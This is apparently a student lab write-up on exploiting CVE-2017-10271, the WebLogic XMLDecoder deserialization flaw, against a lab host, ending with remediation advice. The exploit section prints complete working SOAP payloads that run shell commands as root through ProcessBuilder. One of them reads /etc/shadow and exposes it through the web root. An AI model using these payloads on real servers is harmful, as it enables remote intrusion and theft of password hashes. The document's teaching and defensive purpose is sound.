LAB 2 - CVE-2017-10271: WebLogic XMLDecoder Deserialization Writeup

I. System Analysis

System Log Analysis

• Detected Service: Oracle WebLogic Server (AdminServer belonging to base_domain running in Development Mode).
• Connection Port: 7001.
• Supported Protocols: http, t3, iiop, ldap, snmp.
• Attack Surface Assessment:
  • The service exposes the t3 protocol on port 7001. This default configuration carries a high risk if the WebLogic version is not patched against vulnerabilities related to Java Object Deserialization via RMI (Remote Method Invocation).
  • The Web administration console interface runs on the http protocol on port 7001, which makes it susceptible to directory scanning for sensitive endpoints such as /console/login/LoginForm.jsp.

Once the target's open ports are identified, we will use nmap to scan the port to determine its running service.

Thus, the target is running an HTTP service with the version Oracle WebLogic Server 10.3.6.0 - a well-known enterprise Java application server famous for a series of critical CVEs (such as deserialization, auth bypass). However, this information alone is not enough to conclude which specific vulnerability the system is vulnerable to. We need to scan deeper into the accompanying web service components.

We will proceed to identify its sensitive endpoints using the dirsearch tool. Since WebLogic runs on the Java platform, .jsp and .xml files are the most sensitive targets. We will focus on endpoints returning a 200 status code.

dirsearch -u http://192.168.3.137:7001/ -e jsp,xml,html

• /console/login/LoginForm.jsp: The login portal for the WebLogic Admin Console web interface. This is an important target for default credential brute-forcing scenarios or authentication bypass vulnerabilities (such as CVE-2020-14882).
• /bea_wls_internal/: The default internal web application directory of WebLogic Server. This component allows access to and interaction with static system files.
• /wls-wsat/CoordinatorPortType: This is the most critical discovery. The presence of this path with a 200 OK status code confirms that the Web Services Atomic Transactions (wls-wsat) component is enabled and ready to receive data.
• /uddiexplorer and /uddi/uddilistener: This is the UDDI Explorer (Universal Description, Discovery, and Integration) component integrated by default in WebLogic Server for managing and registering Web Services. This component is extremely famous for the SSRF (Server-Side Request Forgery) - CVE-2014-4210 vulnerability. An attacker can leverage the public registry search interface of UDDI at the endpoint /uddiexplorer/SearchPublicRegistries.jsp to force the WebLogic server to send arbitrary HTTP requests to the backend internal network.

⇒ Thinking: The co-existence of /wls-wsat (RCE risk via XMLDecoder) and /uddiexplorer (SSRF risk) indicates that the attack surface of this WebLogic server is extremely broad.

After identifying two independent attack surfaces co-existing on the WebLogic 10.3.6.0 server, we analyze the two directions:

1. SSRF Vulnerability (CVE-2014-4210) at /uddiexplorer:
   • Medium Impact: Allows sending indirect HTTP requests from the server to scan ports in the LAN network or interact with internal services (like Redis).
   • Limitations: Does not directly grant operating system-level control (OS Level). Escalating from SSRF to RCE depends heavily on whether the internal network contains other misconfigured services.
2. XMLDecoder Deserialization Vulnerability (CVE-2017-10271) at /wls-wsat:
   • Impact: Critical. Allows arbitrary remote code execution (RCE) directly on the server with the privileges of the running process.

⇒ Decision: In the Cyber Attack Chain model, RCE is always the ultimate goal because it provides direct and complete control of the system (Full System Compromise). Once RCE capability is achieved, exploiting SSRF through the UDDI application becomes redundant. This is because from an RCE shell, we can actively perform internal network queries in a direct, flexible, and more powerful manner (using system commands like curl, wget) without being restricted by the parameters of the UDDI interface.

Therefore, in terms of exploit prioritization logic, we decide to exclude the secondary path (SSRF at /uddiexplorer) and focus entirely on researching: Remote Code Execution (RCE) via the XMLDecoder Deserialization vulnerability at /wls-wsat/CoordinatorPortType.

Vulnerability Mechanism Analysis and Testing

The root vulnerability of CVE-2017-10271 occurs because WebLogic's WorkContextXmlInputAdapter class uses the java.beans.XMLDecoder object to parse data in the <work:WorkContext> tag. By default, this XMLDecoder class will automatically instantiate any Java class defined in the XML tag form. From here, we perform verification based on step-by-step system behavioral interaction.

To quickly verify the actual active status of this servlet, send a regular HTTP GET probe request:

curl -i -s http://192.168.3.137:7001/wls-wsat/CoordinatorPortType

The response returns HTTP/1.1 200 OK along with the implementation class CoordinatorPortTypePortImpl, confirming that the servlet has been successfully loaded into the JVM memory.

POST Data Processing Verification

Since Web Services servlets are designed to process SOAP XML data via the POST method, we proceed to perform comparative testing with two POST requests to demonstrate the system's data processing pipeline:

1. Standard SOAP POST Request

We send a standard SOAP XML Envelope (with complete namespaces but without execution content) to test the normal parsing capability of the parser.

curl -i -s -X POST "http://192.168.3.137:7001/wls-wsat/CoordinatorPortType" \
-H "Content-Type: text/xml;charset=UTF-8" \
-d "<soapenv:Envelope xmlns:soapenv='http://schemas.xmlsoap.org/soap/envelope/'>soapenv:Header/soapenv:Body/</soapenv:Envelope>"

• Result: The system runs smoothly through the Parser and only indicates an error at the backend service logic layer (Cannot find dispatch method).

Analysis:

The server has a well-functioning XML reader at the POST port, ready to receive and decode the entire XML tree structure sent by the user. This confirms that the data pipeline from the client deep into WebLogic's memory is fully operational.

2. Malformed XML POST Request

Next, we intentionally break the XML structure (e.g., missing namespaces) to observe the parser's exception handling mechanism.

curl -i -s -X POST "http://192.168.3.137:7001/wls-wsat/CoordinatorPortType" \
-H "Content-Type: text/xml;charset=UTF-8" \
-d "soapenv:Envelopesoapenv:Headerwork:WorkContextinvalid_xml_structure</work:WorkContext></soapenv:Header></soapenv:Envelope>"

• Result: Returns the exception com.ctc.wstx.exc.WstxParsingException: Undeclared namespace prefix "soapenv".

Analysis:

1. Every character, every XML tag in the Body of the POST packet is passed directly down to the lowest-level Java XML parser inside the JVM (com.ctc.wstx) for parsing.
2. The system does not have any checkpoint, filter, or Web Application Firewall (WAF) in between to filter input data. If a filter existed, the packet would have been blocked from the beginning instead of penetrating deep into the Java Parser layer and throwing a system error like this.

Conclusion

The combination of practical experimental results and system architecture analysis—from the wls-wsat servlet receiving raw packets via the POST port, the lack of a WAF/Sanity Filter at the Parser layer, to throwing raw Java XML Reader errors directly—confirms that the server is running an extremely sensitive service structure that lies directly within the scope of CVE-2017-10271 (XMLDecoder Deserialization).

Because the default parsing mechanism of XMLDecoder does not have any class control filters, the server receiving raw POST data without sanitization is the perfect doorway allowing us to design payloads that directly invoke Java system execution objects in the next step.

II. EXPLOIT

Manual Payload Construction Thinking

Since the WebLogic 10.3.6.0 server runs on an old Java environment and does not apply strict class control filters for XMLDecoder, an attacker can directly inject executable Java objects.

The standard class for executing commands in Java is java.lang.ProcessBuilder. We proceed to map this Java object initialization logic into an XML format compatible with XMLDecoder:

• Class initialization declaration: <void class="java.lang.ProcessBuilder">
• Define a string array of parameters containing the command to run: <array class="java.lang.String" length="3">
• Trigger the execution method: <void method="start"/>

Bypassing Blind RCE

When a system command is executed via ProcessBuilder, the WebLogic server runs the command in the background on the OS and only returns an HTTP 500 error code (it does not print the command output directly to the HTTP response screen). This mechanism is called Web Application Mapping — all web servers operate this way. The war/ directory is the Document Root of that application. Any file located in war/ can be accessed via a short URL.

⇒ To Bypass Blind RCE, we must find the physical path—since the id > ... command runs on the operating system, it requires the real path.

White-box Analysis to Find the /war Directory

To find the actual physical path of the bea_wls_internal application being loaded inside the container, we execute a system search query directly from the host machine:

Results

• /root/Oracle/Middleware/wlserver_10.3/server/lib/bea_wls_internal.war (Original archive library file).
• /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal (Decompressed active application directory in the temporary partition _WL_internal of the AdminServer). Going deep into this active directory, we locate the subdirectory containing static files: /9j4dqk/war/. This is the absolute Web Root directory of the application, where the attacker has write permissions to write static files to display RCE execution results.

Thinking: Design a command to redirect the output of id into a static file rce.txt in the above directory: id > /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/rce.txt

Creating the XMLDecoder Exploit Payload

From the analysis above, we know that Java's XMLDecoder class will automatically instantiate and execute any object defined in the form of XML tags. To call operating system commands in Java, the standard class is java.lang.ProcessBuilder.

The mapping process from equivalent Java code to the XMLDecoder XML structure:

Equivalent Java Code:

String[] cmd = {"/bin/bash", "-c", "id > /root/.../war/rce.txt"};
new ProcessBuilder(cmd).start();

Mapping to XMLDecoder XML tags:

Create the exploit.xml file on the Kali Linux machine containing the complete SOAP structure:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
      <java version="1.6.0" class="java.beans.XMLDecoder">
        <void class="java.lang.ProcessBuilder">
          <array class="java.lang.String" length="3">
            <void index="0">
              <string>/bin/bash</string>
            </void>
            <void index="1">
              <string>-c</string>
            </void>
            <void index="2">
              <string>id > /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/rce.txt</string>
            </void>
          </array>
          <void method="start"/>
        </void>
      </java>
    </work:WorkContext>
  </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>

From the Kali Linux machine, send the XML file containing the exploit payload to the target endpoint:

curl -i -s -X POST "http://192.168.3.137:7001/wls-wsat/CoordinatorPortType" \
  -H "Content-Type: text/xml;charset=UTF-8" \
  -d @exploit.xml

Verifying RCE Results

Access the static file rce.txt just created in the Web Root directory:

curl -s http://192.168.3.137:7001/bea_wls_internal/rce.txt

Successful RCE Exploitation. The result of the id command confirms that the WebLogic process is running under root privileges.

III. POST-EXPLOITATION

Privilege Verification

The execution result of the id command returns uid=0(root). This proves that the WebLogic Server process is running directly with the highest root privileges of the operating system. The attacker has full control over the system without needing any additional Privilege Escalation steps.

Sensitive Data Gathering

An attacker can easily read sensitive system files such as /etc/shadow. We create the exploit_shadow.xml file and send it via the XML payload so that the WebLogic server runs it automatically. This commands the server to read the file and direct it to the Document root directory so it can be accessed from the external URL.

cat > exploit_shadow.xml << 'EOF'
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
      <java version="1.6.0" class="java.beans.XMLDecoder">
        <void class="java.lang.ProcessBuilder">
          <array class="java.lang.String" length="3">
            <void index="0">
              <string>/bin/bash</string>
            </void>
            <void index="1">
              <string>-c</string>
            </void>
            <void index="2">
              <string>cat /etc/shadow > /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/shadow.txt</string>
            </void>
          </array>
          <void method="start"/>
        </void>
      </java>
    </work:WorkContext>
  </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>
EOF

Then, send the payload and read the file from the outside:

curl -s -X POST "http://192.168.3.137:7001/wls-wsat/CoordinatorPortType" \
  -H "Content-Type: text/xml;charset=UTF-8" -d @exploit_shadow.xml

curl -s http://192.168.3.137:7001/bea_wls_internal/shadow.txt

The entire system account list along with the password hashes is completely leaked.

Reverse Shell

Since the container runs in an isolated internal network environment (NAT/Bridge of the Docker host), establishing a reverse connection (Reverse Shell) directly back to the Kali machine outside the LAN may encounter routing obstacles. In a real-world environment (production), the attacker can completely set up a reverse shell if the server has an outbound Internet connection.

However, the capability to execute remote code (RCE) directly with root privileges and the ability to interactively read/write files via the Web Root is sufficient to confirm full system compromise.

IV. ASSESSMENT & RECOMMENDATIONS

Risk Assessment

The XMLDecoder Deserialization vulnerability (CVE-2017-10271) on this WebLogic system is assessed at the most critical risk level (Critical):

Remediation Recommendations

To completely remediate this critical security vulnerability, administrators need to implement the following measures immediately:

Urgent Priority (Short-term):

1. Delete or disable the wls-wsat component: If the system does not use Web Services Atomic Transactions (WSAT) features, proceed to delete the wls-wsat.war folder in the WebLogic installation path and restart the service to completely remove this attack surface.
2. Apply Security Patch (Patching): Immediately apply Oracle's standalone security update package for CVE-2017-10271 or upgrade WebLogic Server to a newer secure version (version 12c or higher has replaced the XML processing mechanism with a secure alternative).
3. Downgrade process execution privileges: Reconfigure the WebLogic service to run under a restricted user account (e.g., oracle), and absolutely never run the process with root privileges.

Long-term Priority (Defense-in-depth):

1. Deploy Web Application Firewall (WAF): Configure rules on the WAF to detect and block POST requests to /wls-wsat/ endpoints that contain XMLDecoder characteristic XML tags such as <java>, <object>, <void>, <class>, <method>.
2. Configure Network Segmentation: Isolate the WebLogic container, block unnecessary outbound network traffic (Outbound connections) to minimize the risk of reverse shells or downloading malicious code into the container from the outside.